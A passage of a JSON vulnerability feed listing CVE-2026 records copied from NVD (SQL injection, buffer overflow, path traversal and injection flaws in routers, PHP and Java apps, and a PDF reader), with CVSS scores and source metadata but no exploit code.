fixes.","publishedAt":"2026-05-18T08:16:15.320Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8788","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8788","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8788","type":"primary","publishedAt":"2026-05-18T08:16:15.320Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8785","cveId":"CVE-2026-8785","aliases":[],"kind":"vulnerability","title":"A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the...","summary":"A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the component GET Parameter Handler. Executing a manipulation of the argument appointment_no can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the component GET Parameter Handler. Executing a manipulation of the argument appointment_no can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T04:16:34.530Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PHP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8785","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8785","type":"primary","publishedAt":"2026-05-18T04:16:34.530Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8776","cveId":"CVE-2026-8776","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request...","summary":"A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request Handler. Such manipulation of the argument pptpUserName leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request Handler. Such manipulation of the argument pptpUserName leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T02:16:36.803Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8776","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8776","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8776","type":"primary","publishedAt":"2026-05-18T02:16:36.803Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8775","cveId":"CVE-2026-8775","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler.","summary":"A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler. This manipulation of the argument L2TPUserName causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler. This manipulation of the argument L2TPUserName causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T02:16:36.627Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8775","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8775","type":"primary","publishedAt":"2026-05-18T02:16:36.627Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8771","cveId":"CVE-2026-8771","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file...","summary":"A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/web/WxGoodsController.java of the component Front-end WeChat API. Performing a manipulation results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/web/WxGoodsController.java of the component Front-end WeChat API. Performing a manipulation results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T00:16:37.537Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8771","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8771","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8771","type":"primary","publishedAt":"2026-05-18T00:16:37.537Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8764","cveId":"CVE-2026-8764","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm.","summary":"A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm. Such manipulation of the argument param leads to buffer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm. Such manipulation of the argument param leads to buffer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T22:16:21.463Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8764","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8764","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8764","type":"primary","publishedAt":"2026-05-17T22:16:21.463Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46720","cveId":"CVE-2026-46720","aliases":[],"kind":"vulnerability","title":"Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.","summary":"Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.\n\nThe metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.","detail":"Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.\n\nThe metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T18:16:27.397Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46720","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46720","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46720","type":"primary","publishedAt":"2026-05-17T18:16:27.397Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8759","cveId":"CVE-2026-8759","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file...","summary":"A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file beetl-classic-integration/beetl-spring-classic/src/main/java/org/beetl/ext/spring/SpELFunction.java of the component SpELFunction. The manipulation leads to improper neutralization of special elements used in an expression language statement. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file beetl-classic-integration/beetl-spring-classic/src/main/java/org/beetl/ext/spring/SpELFunction.java of the component SpELFunction. The manipulation leads to improper neutralization of special elements used in an expression language statement. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T15:16:20.843Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8759","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8759","type":"primary","publishedAt":"2026-05-17T15:16:20.843Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8758","cveId":"CVE-2026-8758","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp.","summary":"A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp. Executing a manipulation of the argument File can lead to unrestricted upload. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp. Executing a manipulation of the argument File can lead to unrestricted upload. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T14:16:22.327Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8758","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8758","type":"primary","publishedAt":"2026-05-17T14:16:22.327Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8756","cveId":"CVE-2026-8756","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file...","summary":"A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file webui_preprocess.py of the component Gradio Interface. Such manipulation of the argument data_dir leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file webui_preprocess.py of the component Gradio Interface. Such manipulation of the argument data_dir leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T13:16:46.410Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8756","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8756","type":"primary","publishedAt":"2026-05-17T13:16:46.410Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8755","cveId":"CVE-2026-8755","aliases":[],"kind":"vulnerability","title":"A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the...","summary":"A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the component Model Handler. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the component Model Handler. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T13:16:46.260Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8755","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8755","type":"primary","publishedAt":"2026-05-17T13:16:46.260Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8734","cveId":"CVE-2026-8734","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper...","summary":"A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper Interface. This manipulation causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper Interface. This manipulation causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T06:16:19.490Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8734","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8734","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8734","type":"primary","publishedAt":"2026-05-17T06:16:19.490Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8733","cveId":"CVE-2026-8733","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe.","summary":"A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor responded to the initial vulnerability report by the researcher with a note that the product is discontinued. This vulnerability only affects products that are no longer supported by 